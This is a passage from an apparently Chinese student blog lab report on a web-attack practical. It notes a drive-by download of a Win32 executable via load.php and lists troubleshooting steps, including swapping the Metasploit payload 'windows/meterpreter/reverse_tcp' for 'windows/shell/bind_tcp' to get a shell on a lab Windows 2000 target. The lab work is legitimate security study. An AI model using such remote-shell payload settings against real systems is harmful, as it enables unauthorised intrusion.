有，攻击使客户端从恶意软件分发网络服务器下载可执行文件并在本地执行。恶意可执行软件这是load.php发送的Win32可执行文件，目的是在受害者主机上通过 Internet Explorer 加载 www.honeynet.org

3.学习中遇到的问题及解决

问题1：实践一在靶机Win2kServer访问含有木马的连接的时候总是不成功
问题1解决方案：将set payload windows/meterpreter/reverse_tcp更改为set payload windows/shell/bind_tcp。
问题2：不会用不同的漏洞编写渗透代码混淆成一个url
问题2解决方案：没有混淆只用了一个

4.实践总结

很难写，做很久

posted @ 2022-05-23 21:57 MizDow 阅读(215) 评论(0) 编辑收藏举报

刷新页面返回顶部

MizDow